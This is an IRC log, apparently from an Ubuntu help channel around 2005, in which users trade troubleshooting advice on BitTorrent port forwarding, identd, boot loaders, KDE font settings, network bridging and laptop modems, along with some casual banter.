[04:10] <pudland_> kk
[04:10] <DewDude> bimberi - yes...but..i'm a KDE man
[04:10] <_derek> is there a way to see what gnome runs when it starts up?
[04:10] <bimberi> DewDude: ... who obviously can't be swayed :)
[04:10] <pudland_> HrdwrBoB: then what?
[04:11] <titaniumone> tried setting min/max port with commandline and it still just sits at connecting to peers
[04:11] <vader1102> DewDude,  so was I but Ubuntu changd my mind
[04:11] <DewDude> i've used gnome
[04:11] <DewDude> i didn't like gnome
[04:11] <vader1102> so had I
[04:11] <HrdwrBoB> pudland_: in permissions
[04:11] <abarbaccia> how do i get a process to run under a different user if its starting from a script?
[04:11] <robotgeek> titaniumone: try a different torrent?
[04:11] <pudland_> HrdwrBoB, im not owner, everything is grey
[04:11] <DewDude> well
[04:11] <abarbaccia> is it su "user" -c "command"
[04:12] <DewDude> i'll play with it...a bit
[04:12] <vader1102> I only have gnome on here
[04:12] <DewDude> well, i'll install kde
[04:12] <DewDude> it's my choice
[04:12] <DewDude> dammit
[04:12] <vader1102> have fun lol
[04:12] <bimberi> DewDude: you install what you like - and have fun!
[04:13] <djur> anyone willing to give me some insight as to an error message I received when trying to install ubuntu?
[04:13] <titaniumone> robotgeek, i still just get connecting to peers. :(
[04:13] <djur> I'm getting "unable to install coreutils" when it's installing the base system
[04:13] <lunitik> djur: if you state the error... someone might be able to help...
[04:13] <cafuego> Oi Mai Goid
[04:13] <DewDude> cigarette time
[04:13] <cafuego> filthy smoker
[04:14] <djur> and then it exists the installation.
[04:14] <DewDude> heh
[04:14] <DewDude> i like my cigarettes
[04:14] <vader1102> cafuego, take it easy dude, so am I
[04:14] <DewDude> and my weed
[04:14] <vader1102> lol
[04:14] <vader1102> not the weed for me though
[04:14] <lunitik> djur: if its installed anyways... don't worry about it... dpkg -l coreutils | grep ^ii  shows it?
[04:14] <_derek> does anyone know where there is a list of what starts upon gnome starting?
[04:14] <cafuego> vader1102: take it easy dude, I smoked for longer than you've been alive ;-)
[04:14] <bimberi> djur: that could indicate a bad CD
[04:15] <vader1102> cafuego, , I aint here to make trouble
[04:15] <vader1102> I promise
[04:15] <lunitik> vader1102: you 'aint' here to speak English either it would seem....
[04:16] <furic> Sorry if this is off topic, but #kubuntu is dead, in gnome i can change my font dpi setting in the fonts applet, but in kde i can't find an equivalent setting, and everything is rendering outrageously large. is there a way?
[04:16] <djur> bimberi:  I have two copies that were shipped to me that are official..  neither work
[04:16] <lunitik> furic: kcontrol > Appearance and Themes > Fonts
[04:16] <nalioth> furic: kubuntu is "on topic" here
[04:16] <cafuego> furic: KDE has a fonts applet as well.
[04:17] <furic> Yes, i noticed
[04:17] <bimberi> djur: there have been stories of a "bad batch" of cds - unfortunately :(
[04:17] <djur> uhoh.
[04:17] <cafuego> and it (in theory) does the same thing :-)
[04:17] <SymGeosis> Heya oneseventeen, I feel like I practically know you from zv6000forums.com. =)
[04:17] <oneseventeen> how do I open a network port?
[04:17] <djur> is there a way to install via network?  I have cable..
[04:17] <furic> but that only works for applications that listen to those font size settings, setting dpi would be system wide and actually be effective...
[04:17] <oneseventeen> Sym: what's your username there?
[04:17] <SymGeosis> SymGeosis.
[04:18] <SymGeosis> I've posted 15 or so times there, usually offering assistance. I think once even to you. ;-)
[04:18] <cafuego> furic: Well, if you want to change the dpi on X, you need to edit the X cfg file (or make X use the correct font size)
[04:18] <furic> Right, how?
[04:18] <lunitik> furic: apt-get install gtk2-engines-gtk-qt  ... use this to make GNOME based apps use KDE based settings
[04:18] <bimberi> djur: if you've got a bootable system and can set up networking you can complete the install from the net
[04:18] <oneseventeen> hehe, yeah, you have, on the thread about getting ubuntu to work,
[04:19] <oneseventeen> thanks for the tips, that thread got ubuntu running nicely :)
[04:19] <furic> lunitik: That is not my issue, its not even remotly my issue, my problem is with kde apps ignoring kde settings
[04:19] <oneseventeen> (minus the fact that these laptops have ati cards... :( )
[04:19] <furic> and i dont at all like having incorrect pt interpretation...
[04:20] <djur> bimberi:  the live system works, can I install from it
[04:20] <gusto5> bimberi, if you're still around, id like to know how to update the ubuntu clock
[04:20] <nalioth> djur: unfortunately not, you need the install disk
[04:20] <bimberi> djur: not that i know of
[04:20] <SymGeosis> oneseventeen, yeah. I'm now an official ATI linux beta-tester.
[04:21] <gusto5> never mind bimberi
[04:21] <gusto5> i just did it rofl
[04:21] <bimberi> gusto5: right click on the clock
[04:21] <oneseventeen> I supposedly need to open port 113 to connect to quakenet, so my irc client can talk to ident servers...
[04:21] <lunitik> furic: they shouldn't ignore the setting... I've never had that issue... but then, I've rarely used Kubuntu...
[04:21] <SymGeosis> Mostly because I wrote to one of the developers about the problems we were having on this laptop.
[04:21] <oneseventeen> how do I do that?
[04:21] <lunitik> furic: maybe look at Kubuntu bugs on the matter?
[04:21] <furic> lunitik: Some applications have it hard coded, for example chat history themes in kopete
[04:21] <furic> its not a bug
[04:22] <oneseventeen> After getting fglrx working, I get 1200FPS in glxgears, and in counter-strike: source (via cedega) I get about 3 seconds between each frame.
[04:22] <furic> well, maybe the font rendering is, but its happened on other linux distros
[04:23] <Viziri> I want to try out SUSE 9.3. I have Ubuntu and XP installed alread. Anyone know a good HOWTO on how to do this?
[04:23] <oneseventeen> I hope you give 'em hell and they get some better drivers out! (the recent ones just lock up my system too :( )
[04:23] <djur> so how is hardware support on ubuntu compared to say.. redhat, debian, suse, etc..?
[04:23] <cafuego_> 23587 frames in 5.0 seconds = 4717.330 FPS
[04:23] <cafuego_> woot
[04:23] <bur[n] er> Viziri, just partition another part for suse to use
[04:23] <SymGeosis> Viziri, just download Suse's CD's and rip away at it.
[04:23] <SymGeosis> Viziri, if you want to keep your partitions you may want to give gparted a look.
[04:24] <candlelight> viziri: suse will detect all your current ubuntu and xp and put them into the bootloader.
[04:24] <oneseventeen> djur, I have a widescreen wireless laptop, and ubuntu is the OS I've chosen, if that helps
[04:24] <Viziri> I could do that no problem, but i'm concerned about boot issues
[04:24] <cafuego_> oneseventeen: Set up the game in Cedega to use hw 3d, not software.
[04:24] <djur> cool..  I have a wireless laptop on it's way to me...
[04:24] <oneseventeen> cafuego_ how do I do that?
[04:24] <djur> I was hoping to hear it had support.
[04:24] <cafuego_> oneseventeen: game prefs
[04:24] <bur[n] er> Viziri, don't be... grub can handle suse and ubuntu... just edit the menu.lst when done to include all OSes
[04:25] <gonti> ej!! I have to choose the path for istalling LILO and the default path is "/dev/ide/host0/bus0/target0/lun0/disc" but unfortunatelly it doesn't work. Do you suggest something ?
[04:25] <titaniumone> anyone ever have problems with btdownloadcurses? i cannot get it to connect to peers. :( i have forwarded ports (i think the right ones, im not sure)
[04:25] <oneseventeen> djur: I think most linux distros have support, since you can run most software on all the distros, but ubuntu does seem to be pretty good "out of the box"
[04:26] <bur[n] er> titaniumone, shouldn't even need to forward ports... although forwarding makes things faster
[04:26] <bur[n] er> titaniumone, you have a gui?  i'd suggest azureus
[04:27] <titaniumone> bur[n] er, no and i don't want one because this is an old slow machine. i have TorrentFlux so i can control it easily (php interface) and torrentflux is working fine but it uses btdownloadcurses, which isn't working :O
[04:27] <FuzzyGhost> Hi, I was wonder what I'd have to do to configure Ubuntu 5.04 with an Nvidia card.
[04:27] <FuzzyGhost> "wondering" rather.
[04:28] <Viziri> Yeah, I did start the SUSE install just to get a feel for it. I stopped before partitioning. It did autodetect another Linux distro, and gave several options. I was unsure about which option to select
[04:28] <nalioth> FuzzyGhost: ubotu loves you
[04:28] <cafuego_> FuzzyGhost: install 'nvidia-glx'
[04:28] <gonti> "HARD DISK BOOT SECTOR INVALID. PRESS 'H' TO RETRY HARD DISK, ANY OTHER KEY FOR FLOPPY" CAN ANYONE HELP ME ??
[04:29] <CarlFK> gonti - that was from a default install?
[04:29] <gonti> carlFC - yes
[04:29] <oneseventeen> does ubuntu come with a firewall by default?
[04:29] <candlelight> FuzzyGhost: http://www.ubuntuguide.org/
[04:29] <CarlFK> oneseventeen - yes - the "no open ports policy" firewall ;)
[04:29] <nalioth> candlelight: please dont do that
[04:30] <oneseventeen> CarlFK: how would I open a port then?
[04:30] <cafuego_> !+ubuntuguide
[04:30] <ubotu> from memory, ubuntuguide is a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.
[04:30] <CarlFK> oneseventeen - it depends on what service you want others to access
[04:30] <nalioth> cafuego_: you need to drop a line or two into the bot to tell you if it's just sent the same factoid to the same user
[04:30] <candlelight> nalioth: ic.
[04:31] <oneseventeen> I want my irc chat to do whatever it needs to do to connect to the "ident server" for quakenet
[04:31] <cafuego_> oneseventeen: On a normal install, you simply install the service, the port would be closed otherwise.
[04:31] <cafuego_> oneseventeen: Just install an identd.
[04:31] <nalioth> cafuego_: cuz nowadays i msg the bot to send folks factoids
[04:31] <noddaba> is it possible to use the install cd as a boot cd?
[04:31] <cafuego_> nalioth: it's perl
[04:31] <lunitik> cafuego: haha... I've been basically stating what that factoid says for like a year now... since the first incarnation of ubuntuguide .... no one listened to me though  :(
[04:31] <gusto5> noddaba, bot into?
[04:31] <cafuego_> nalioth; You could do !bot tell victim -about factoid
[04:32] <cafuego_> nalioth: that way anyone cna see you've done it
[04:32] <oneseventeen> cafuego_: is there anything I should google for specifically to figure out how to install an identd?
[04:32] <CarlFK> noddaba - kinda.  you can Alt-F2 to get to a prompt
[04:32] <noddaba> gusto5, to boot into a partition that has Ubuntu installed on it.
[04:32] <orospakr> can I configure a tap device in /etc/network/interfaces?
[04:32] <cafuego_> oneseventeen: 'apt-cache search identd' - pick one, install it.
[04:32] <nalioth> cafuego_: tryin to keep the level of crap down in the channel
[04:32] <gusto5> noddaba, what is installed on your other partitions?
[04:32] <cafuego_> nalioth; yeah, but we can't just ban the entire US.
[04:32] <lunitik> !bot tell me about stuff #test
[04:32] <ubotu> lunitik: Do they come in packets of five?
[04:33] <nalioth> cafuego_: ban?
[04:33] <bimberi> rofl
[04:33] <vader1102> lol
[04:33] <cafuego_> nalioth (it woul dkeep the crap down ;-)
[04:33] <nalioth> cafuego_: just a line or 2 so ubotu tells you that the factoid was just sent to the user you want it sent to, also
[04:34] <cafuego_> nalioth: Yeah, that would require hashes and timers... in perl...
[04:34] <vader1102> vader1102, is allways lost
[04:34] <noddaba> Windows installed on one drive, Ubuntu on another.  trying to help out a friend, and basically he blew away grub.  I know w/ the debian install cd's, i could also use them as boot cd's too... but apparently not with Ubuntu?
[04:34] <oneseventeen> cafuego_ : is there an identd you would recocomend?
[04:34] <lunitik> cafuego: yeah... that last suggestion would be good... or even, only a message telling you if it didn't work... usually, we issue others factoids that we know the content of  ;)
[04:34] <CarlFK> gonti - so the box boots, and no mention of grub?
[04:34] <bimberi> nalioth: and it still won't prevent 5 people from doing "/msg ubotu tell...", whereas one line in the channel does
[04:34] <Paganini> Noddaba, yeah, Windows is annoying like that.
[04:35] <Paganini> The Hoary install disk will boot.
[04:35] <noddaba> he's new to Linux, so showing him how to fix it may be over his head, so I was hoping there was something he could do without having to reinstall again
[04:35] <noddaba> until he had more time to learn the right way, that is
[04:35] <gusto5> hmm thats a toughy
[04:35] <gusto5> he may have to reinstall
[04:35] <noddaba> Paganini, I tried doing "Linux boot=/dev/hda1", that didn't work.  it panicked
[04:35] <noddaba> Paganini, from the install cd, that is
[04:36] <gusto5> noddaba, what windows version?
[04:36] <noddaba> XP, i believe
[04:36] <Paganini> Noddaba, try this page:
[04:36] <Paganini> http://www.ubuntuguide.org/#restoregrubmenuafterwindowsinstallation
[04:36] <nalioth> then whats the point of /msg ubotu blah?
[04:36] <nalioth> Paganini: please dont do that
[04:36] <Milk_> anyone know of a super secret (meaning I can't find one) GOOD wysiwyg editor that can handle php?
[04:37] <nalioth> !tell Paganini about ubuntuguide
[04:37] <Paganini> It worked for me last week.
[04:37] <nalioth> noddaba: here ya go https://wiki.ubuntu.com/RecoveringUbuntuAfterInstallingWindows0
[04:37] <Paganini> Scuse me nalioth, ubuntuguide is what I personally used last week to fix the exact problem he's asking about.
[04:37] <Paganini> And a set of instructions is exactly what he just requested to help his noob friend out.
[04:37] <cafuego_> Paganini: Yes, it WORKS, but do you know WHY ?
[04:38] <Paganini> In fact, yes.
[04:38] <furic> Milk_: DO NOT write php in a wysiwyg editor.
[04:38] <cafuego_> Milk_: There are no good wysiwyg editors in Linux.
[04:38] <candlelight> Paganini: haha... me used the guide as a quick fix too
[04:38] <franlopez> hi there, i'm having a dumb problem... i've installed the ubuntu based system (it was great and worked out all of my hardware) and i used apt to install DeMuDi as is indicated on their website (demudi.agnula.org)... but now i don't know what to do... has anyone done this? or can at least someone tell me where it has been installed and how can i run it? (i'm guessing it's some kind of install software)... (i know it's not exactly an ubu
[04:38] <noddaba> thanks guys
[04:38] <CarlFK> milk_ have you seen.. nvu i think it is called?
[04:39] <cafuego_> CarlFK: Like I said.. ;-)
[04:39] <wickedpuppy> yes nvu
[04:39] <wickedpuppy> dreamweaver clone
[04:39] <cafuego_> nvu is a modified mozilla composer
[04:39] <Milk_> I don't write the PHP in a wysiwyg
[04:39] <nalioth> Paganini: if you are an experienced *nix user, there's nothing wrong with the guide, but if you are new to *nix, it can lead to system failure
[04:39] <CarlFK> cafuego_ - nvu isn't worth messing with?
[04:39] <Milk_> I write the HTML and layout in a wysiwyg, then come back in code it out
[04:39] <Milk_> nvu is horrible
[04:39] <cafuego_> CarlFK: I found it irritating and slow; rather stick to vi.
[04:39] <nalioth> talking to myself
[04:40] <Milk_> if you name your files .php, it won't open it
[04:40] <candlelight> Milk_: try vi?
[04:40] <Paganini> *sigh*
[04:40] <Paganini> Sorry about that.
[04:40] <Milk_> candlelight, not really wysiwyg is it?
[04:40] <nalioth> CarlFK: cafuego_ and i prefer text mode html editing
[04:40] <nalioth> Paganini: if you are an experienced *nix user, there's nothing wrong with the guide, but if you are new to *nix, it can lead to system failure
[04:40] <wickedpuppy> franlopez, .... you got any extra programs ?
[04:40] <oneseventeen> hmmm... I installed pidentd and I still can't connect to quakenet
[04:40] <candlelight> Milk_: oh... nope
[04:40] <CarlFK> I like mamboserver ;)
[04:40] <furic> Milk_: Learn html, stop relying on wysiwyg, your files will be smaller, consume less bandwidth, work better in search engines, and work correctly in text browsers if you do
[04:40] <aru> we dont recommend the guide to anyone in here
[04:40] <cafuego_> nalioth: Oh no, I don't dislike dreamweaver, it's just that nvu is no dreamweaver
[04:41] <furic> Whats so bad about ubuntuguide?
[04:41] <franlopez> wickedpuddy: nope, just the "server" instalation of ubuntu... and the i went right away to download demudi
[04:41] <nalioth> cafuego_: i've never used dreamweaver or hotmetalpro or any of that rot
[04:41] <Milk_> furic, I've been designing html for 10 years, I can do it all in tags, but I'm also a good layout designer and want to see what it looks like.. so its a preference
[04:41] <nalioth> cafuego_: i prefer my thyroidally challenged text editors
[04:41] <franlopez> wickedpuddy: nope, just the "server" instalation of ubuntu... and then i went right away to download demudi
[04:41] <cafuego_> nalioth: I've used dreamweaver on and off since version 2. Of course, back when I started with html, I used bbedit lite.
[04:42] <Milk_> I'm trying to ween myself off of DW
[04:42] <wickedpuppy> franlopez, i don't see any documentations there either ... and i see you are in their chan ... ask if any of them are dev ?
[04:42] <aru> Milk_: doesn't DW run in crossover office :)
[04:42] <nalioth> cafuego_: i started out with a text editor (disguised as a web browser)
[04:42] <Milk_> regardless.... Lets answer my question... is there a good Wysiwyg thats native to linux that can handle my php needs as well?
[04:42] <Paganini> Nalioth: Just having linux can lead to system failure. Even if you are an experienced *ix user! ;)
[04:42] <nalioth> cafuego_: then dumped the browser
[04:42] <Milk_> aru, I tried it a year or so ago and it wasn't good
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[04:42] <oneseventeen> aru: I heard DW MX 2004 won't work in crossover
[04:42] <nalioth> Paganini: yes, i agree, but the guide is not too well explained
[04:42] <Paganini> Anyway.
[04:42] <cafuego_> nalioth: yeah, bbedit lite is a text editor
[04:43] <jsubl2> Milk_, i like kdewebdev
[04:43] <franlopez> wickedpuddy: i've posted a similar question, but had no answer... adn ther's no activity going on on that channel...
[04:43] <wickedpuppy> Milk_, no idea about wysiwyg ... but for php you can try eclipse
[04:43] <Milk_> it techincally "Runs" but not well
[04:43] <oneseventeen> Milk_: I'm about to buy Zend's own Development Environment "Zend Studio"
[04:43] <nalioth> cafuego_: yes i know what it is, (it costs money)
[04:43] <Milk_> I'm using blue fish for the php.. and I LOVE it
[04:43] <wickedpuppy> franlopez, then i guess you could email those guys ??
[04:43] <cafuego_> nalioth; My wife swears by it; she would leave OSX if only they'd port bbedit to Linux
[04:43] <oneseventeen> Milk_ other than that, I haven't found a good php editor
[04:43] <nalioth> cafuego_: bbedit does do nice things
[04:44] <CarlFK> cafuego - swears by what?
[04:44] <Milk_> jsubl2, what is the menu name for kdewebdev?
[04:44] <franlopez> wickedpuddy: i've tryed that... but i'm running out of time... the question is, do i have a way to know where has that package been installed?
[04:44] <cafuego_> my clients are on crack, this domain is SO not available
[04:44] <cafuego_> CarlFK: BBEdit
[04:44] <cafuego_> She even has teh t-shirt
[04:44] <wickedpuppy> franlopez, try synaptic ... you can find out installed packages from there
[04:44] <CarlFK> heh
[04:45] <franlopez> wickedpuppy: and how should i do that?
[04:45] <jsubl2> Milk_, it used to be quanta but got renamed it is part of the kde environment --  sudo apt-cache search kdewebdev
[04:45] <wickedpuppy> franlopez, you got no x ?
[04:45] <wickedpuppy> synaptic comes default with ubuntu
[04:45] <aru> dude
[04:45] <aru> System > Administration > Synaptic
[04:45] <Paganini> So, thanks to the Fool's help, my modem driver's now work! If only it would connect to whatever I dial. I think my chatscript must be screwy. Does anyone know of any recent pertinent info sources for this?
[04:46] <franlopez> wickedpuddy: nope, i have no x...
[04:46] <wickedpuppy> ah thought so ...
[04:46] <titaniumone> is it possible something in ubuntu is blocking bittorrent?
[04:46] <aru> scratch my idea
[04:46] <titaniumone> i've never used it before and nothing will work, i can't connect to trackers/peers
[04:46] <CarlFK> titaniumone - no.
[04:46] <wickedpuppy> titaniumone, i think firewall .. blcking 6881
[04:46] <Milk_> jsubl2, apt is saying its installed
[04:46] <Milk_> I do have quantas installed
[04:46] <bimberi> franlopez: dpkg -L demudi (sp?) will show what files have been installed
[04:46] <titaniumone> i have 6881-6889 forwarded and im using btdownloadcurses --minport --maxport
[04:46] <jsubl2> Milk_, try it
[04:47] <nalioth> titaniumone: titaniumone just dmz your machine
[04:47] <jsubl2> Milk_, I like anjuta also..  but for me I think quanta as and edge or two
[04:47] <franlopez> thanks bimber!
[04:47] <bimberi> franlopez: dpkg -L demudi | grep bin       will show you likely executables
[04:47] <Milk_> quantas just has a preview right? not an actual wysiwyg
[04:47] <bimberi> franlopez: yw :)
[04:47] <jsubl2> Milk_, yes
[04:47] <CarlFK> titaniumone - even if you are totaly blocked, you should get something
[04:48] <titaniumone> just DMZ'd, trying again
[04:48] <franlopez> okay, thank you guys, i'll try that... bye
[04:48] <Milk_> I may have to load DW up in vmware
[04:48] <nalioth> Milk_: if you just need a preview, use a browser
[04:48] <jsubl2> Milk_, so probably not exactly what you were asking for
[04:48] <titaniumone> sits at 'connecting to peers' still even DMZ'd. what in the dang hell
[04:49] <CarlFK> titaniumone - give me the URL to a torrent you are trying to use
[04:49] <Milk_> jsubl2, yea... not exactly, but I appreciate the thought
[04:49] <titaniumone> the bittornado.com windows installer torrent (just for the hell of testing)
[04:49] <CarlFK> that isn't a URL
[04:49] <titaniumone> okay hold on
[04:50] <titaniumone> http://download2.bittornado.com/download/BitTornado-0.3.7-w32install.exe.torrent
[04:50] <CarlFK> tx - somethign I can wget...
[04:50] <titaniumone> sits at connecting to peers
[04:50] <hybrid_goth> heh
[04:50] <hybrid_goth> download a torrent client via torrent
[04:51] <nalioth> titaniumone: are you connected directly or thru a router/switch?
[04:51] <titaniumone> oh it just started
[04:51] <titaniumone> it took a long time but it's working now
[04:51] <aru> heh
[04:51] <titaniumone> okay perhaps it is my router -- i'm DMZ'd right now
[04:51] <titaniumone> any suggestions on what ports to forward aside from 6881-6889 TCP?
[04:51] <nalioth> titaniumone: you're running linux atm, right?
[04:51] <titaniumone> ubuntu
[04:51] <oneseventeen> I've installed pidentd, and my router port forwards 113 to my laptop, but I still can't connect to quakenet, any ideas?
[04:51] <nalioth> titaniumone: then you can leave your box dmz'd b/c you have little to worry about
[04:52] <nalioth> titaniumone: you might wish to visit portforward.com
[04:52] <titaniumone> nalioth, there are 4 other computers on the network which need to have things forwarded to them, i'd rather not
[04:52] <titaniumone> dmz'ing is a pretty bad solution :/
[04:52] <nalioth> titaniumone: then visit portforward.com
[04:52] <CarlFK> titaniumone - forget that.  something is hosed.  I am not forwarding any BT ports, and i just got the whole file
[04:52] <ohphracku> when i export my bookmarks from firefox, move them to floppy, then try to open the file i get a warning about "Cannot open bookmarks.html"
[04:52] <titaniumone> nalioth, dmzed or undmzed?
[04:52] <ohphracku> funny stuff
[04:53] <CarlFK> titaniumone - 30 seeds, 0 peers.
[04:53] <_derek> bob2: gdm still freezes for me with logging in as failsafe xterm
[04:53] <nalioth> titaniumone: turn off the dmz, and visit portforward.com
[04:53] <BrianDo> wow, the rescue function works wonders!
[04:53] <nalioth> titaniumone: or leave it dmz'd, it really doesnt matter
[04:53] <titaniumone> CarlFK, it just downloaded okay will i was in dmz mode on my router. turning dmz back on now to test again
[04:54] <CarlFK> um, in dmz <> on dmz?
[04:54] <CarlFK> not that it really matters...
[04:54] <cyphase> hey everyone
[04:55] <absenth> ok, that might be too easy
[04:55] <absenth> I just got a PentiumM / Centrino based system and wireless configuration at the ascii boot is just too cool.
[04:56] <qt2> absenth, why's it cool? hard to get going?
[04:56] <absenth> qt2: last time I tried to get wireless running in linux, I got my first half dozen grey hairs.
[04:56] <qt2> ahuman01, heh.
[04:56] <titaniumone> okay with DMZ on, i could download bittornado's installer; with it off i just sit at 'connecting to peer's. gluahg
[04:57] <titaniumone> i suck at linux :-(
[04:58] <CarlFK> titaniumone - something is wacked.  can that box connect to anything on the net? (like irc, web....)(
[04:58] <absenth> titaniumone: heh, just remember you sucked at windows once too.
[04:59] <titaniumone> CarlFK, the ubuntu box? yes i have apache, ftp, mysql, ssh, freenx all running/forwarded and working fine.
[04:59] <CarlFK> titaniumone - I just did btdownloadcurses.py BitTornado-0.3.7-w32install.exe.torrent
[04:59] <CarlFK> titaniumone, but can a client connect from that box to a server the net?
[04:59] <oneseventeen> does anyone here use zend studio on their ubuntu box?
[05:00] <titaniumone> CarlFK, yes, i'm talking from it right now in xchat
[05:00] <titaniumone> CarlFK, with my router in DMZ to the ubuntu machine, i could do that as well. worked after a 10 second pause or so. with DMZ off i can't download anymore, so i think it's port related, but i'm forwarding 6881-6889 and 10000-10004 tcp and udp to this machine.
[05:01] <nalioths_dog> titaniumone, did you follow the recommendations on portforward.com?
[05:01] <CarlFK> titaniumone - try getting rid of the port forwaring.  that helps BT, but isn't required
[05:01] <titaniumone> nalioths_dog, yes, that is where i got those ports from
[05:01] <titaniumone> CarlFK, ok ill turn it off completely
[05:02] <franlopez> hello. i have the ubuntu base system installed. i have installed demudi (demudi.agnula.org) using apt and now i have to run tasksel to install it. according to them, i should just write "tasksel" on my command line. when i do that, i get an error msg (wich states that there's no "tasksel" command)... can anyone help me?
[05:03] <titaniumone> no luck, still can't download
[05:03] <CarlFK> titaniumone - same command (no switches)?
[05:03] <nalioth> franlopez: is tasksel in your $PATH?
[05:03] <FatDarrel> what is the problem
[05:04] <titaniumone> CarlFK, just btdownloadcurses filename
[05:04] <vader1102> titaniumone,  just a question....have you recently updated the system?
[05:04] <franlopez> nalioth: what? (sorry, i'm, kinda new in the linux world)
[05:04] <titaniumone> vader1102, no
[05:04] <vader1102> CarlFK, do you think that might help titaniumone ?
[05:04] <nalioth> franlopez: programs in linux (and in windows, but not so visibly) are all found by the system along $PATHs
[05:05] <CarlFK> titaniumone - try in #bittorrent
[05:05] <CarlFK> vader1102 - I am out of ideas for titaniumone
[05:05] <nalioth> franlopez: programs not in the path need to be run by putting a ./ in front of hte command (like so "./cal")
[05:05] <deFrysk> err isnt demudi not an other distro ?
[05:05] <vader1102> CarlFK,  ok....thought maybe that may throw another idea your way
[05:05] <FatDarrel> nalioth, or the full path like /home/user/bin/file2run
[05:06] <titaniumone> #bittorrent gave up on me too. :)
[05:06] <franlopez> nalioth: ok, so, you mean i should find the path for tasksel and run it from there?
[05:06] <nalioth> franlopez: did you see what FatDarrel just said?
[05:06] <CarlFK> titaniumone - what are you using for a NATfirewall thing?
[05:06] <franlopez> yep, jus read it...
[05:06] <nalioth> franlopez: nope, FatDarrel gave you a clue, you need to FIND tasksel first
[05:06] <titaniumone> CarlFK, linksys router
[05:07] <CarlFK> titaniumone - weid.
[05:07] <franlopez> nalioth: so i should llok for tasksel and then run it... but it's supoosed to be on the system, right?
[05:07] <vader1102> my boss said his linksys wouldn't let him do BT either
[05:07] <titaniumone> i get "error(s):[00:07:08]  Problem connecting to tracker " when i try to connect with the newest btdownloadcurses.py
[05:07] <absenth> how difficult is it going to be to get my SD memory card reader to work in ubuntu?
[05:07] <titaniumone> instantly
[05:07] <FatDarrel> franlopez, yes you can try locate to find it or use the find command
[05:07] <vader1102> he had to get a different router, that fixed it but haven't heard anything other than that one
[05:07] <FatDarrel> franlopez, there is a way to search the apt database to find the pkg that installed application and where it installed it
[05:07] <franlopez> fatdarrel and nalioth: tanhks, i'll try that...
[05:08] <Buuyo^> Hi. I have a wireless card and an ethernet card that I want to bridge together
[05:08] <Buuyo^> I'm comfortable editing the /etc/network/interfaces file
[05:08] <CarlFK>  absenth - depends on the reader.  some you just need to plug in and wait a few seconds
[05:08] <Buuyo^> but how do I tell the wireless card what essid and key to use?
[05:08] <Buuyo^> if it's bridged I mean
[05:08] <franlopez> thanks, i'll go try that, bye
[05:09] <CarlFK> Buuyo^ - define "bridged"
[05:09] <nalioth> franlopez: depending on how it was installed, it may or may not be in the $PATH
[05:09] <absenth> CarlFK: thanks....  as soon as the install finishes we'll see how it goes.
[05:09] <Buuyo^> CarlFK: brctl addr br1; brctl addif br1 eth2; brctl addif br1 eth3;   kind of bridged
[05:09] <absenth> also, is there a kernel version that works better on the pentium M then the 686 kernel?
[05:09] <Buuyo^> err
[05:09] <Buuyo^> whatever
[05:10] <Buuyo^> addbr, not addr ;p
[05:10] <CarlFK> Buuyo^ - long shot: wouldn't it be the same for just a simple wifi connection?
[05:11] <codecaine> anyone know why firefox when just opened not going to a website sends traffic to: www30.thny.bbc.co.uk
[05:11] <Buuyo^> CarlFK: well, when you do a bridge in /etc/network/interfaces you configure the bridge with bridge_ports
[05:11] <Buuyo^> iface br1 inet static
[05:11] <Buuyo^>         bridge_ports eth2 eth3
[05:11] <Buuyo^> that kind of thing
[05:11] <NoUse> codecaine its probably updating its headlines RSS feed
[05:11] <codecaine> agh ok
[05:11] <Buuyo^> but you don't really configure the other interfaces because they're a part of the bridge, and brought up that way
[05:11] <codecaine> checked the site it is news related
[05:11] <CarlFK> Buuyo^ - but doesn't eth2 have to be up already?
[05:12] <NoUse> codecaine if you delete it, it won't do it anymore
[05:12] <Buuyo^> CarlFK: not as far as I know.
[05:12] <Buuyo^> CarlFK: I'm running one other bridge that doesn't require and other configuration
[05:12] <codecaine> thx
[05:12] <Buuyo^> iface br0 inet dhcp
[05:12] <Buuyo^>         bridge_ports eth0 eth1
[05:12] <Buuyo^> that kind of thing
[05:12] <Buuyo^> no iface stanzas for eth0 or eth1
[05:12] <codecaine> NoUse, i was just gonna lookup netbios-ns and netbios-dgm, my system seems to send these broadcasts out frequently
[05:13] <CarlFK> Buuyo^ - huh. I am going to keep with my guess: same as a simple connection.  but in case you didn't figure it out, I have no clue ;)
[05:14] <Buuyo^> So my question still stands, about setting up a bridge like that
[05:14] <vader1102> well night folks
[05:14] <Buuyo^> night
[05:15] <CCFIEL> how can i install a 56k modem...Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)? i think linux support ac97 modem...
[05:15] <CarlFK> Buuyo^ - it can stand next to my question: how do I allow a user to make a dial up connction without sudo
[05:15] <CCFIEL> how can i install a 56k modem...Silicon Integrated Systems [SiS]  AC'97 Modem Controller (rev a0)? i think linux support ac97 modem... i tried the wikki...but nothing...
[05:15] <Buuyo^> heh I haven't done dialup/pppoe for a long time :)
[05:15] <CCFIEL> can somebody help me..please..
[05:15] <CarlFK> so far the best answer is: setup pppconfig and make a shortcut that calls pon
[05:15] <Buuyo^> CarlFK: But why no sudo btw?
[05:15] <Buuyo^> CarlFK: you can give a user limited sudo rights
[05:16] <Buuyo^> like only enough rights to run one program
[05:16] <CCFIEL> CallFK: i have tried that..but no luck...
[05:16] <CarlFK> Buuyo^ - cuz it is for a box that will be used by some kids.  they don't get sudo.
[05:16] <bob2> bear in mind that "ac97" is not a modem
[05:16] <bob2> it's a device to play sounds into a phoneline
[05:16] <Buuyo^> CarlFK: Then create a NOPASSWD: sudo line, and create a launcher on the desktop that calls it :)
[05:16] <bob2> your CPU has to be the actual modem
[05:16] <CarlFK> Buuyo^ - I keep thinking that there is a "happy gui ubuntu way" that I havn't found yet
[05:16] <bob2> so go pay linuxant for drivers
[05:16] <gonti> doesnt make any difference if i set the flag on linux part or ntfs?
[05:17] <bob2> do you mean "boot flag"?
[05:17] <gonti> yhm
[05:17] <CCFIEL> bob2: ahh..ic....i think not an conexant modem...
[05:17] <bob2> gonti: no
[05:17] <CCFIEL> i really dont know what is the chipset of this..
[05:17] <bob2> CCFIEL: I assume this is a laptop?
[05:17] <gonti> bob2: yes it does:D
[05:17] <CCFIEL> bob2: yes..its a laptop...internal..
[05:18] <nalioth> CarlFK: i made a ubuntu box for some kids, i went to the admin menu and unchecked every user permission box i could find for their account
[05:18] <gonti> (it turns out that it does)
[05:18] <CCFIEL> bob2: how will i know what is the chipset of the modem... i tried scanmodem...
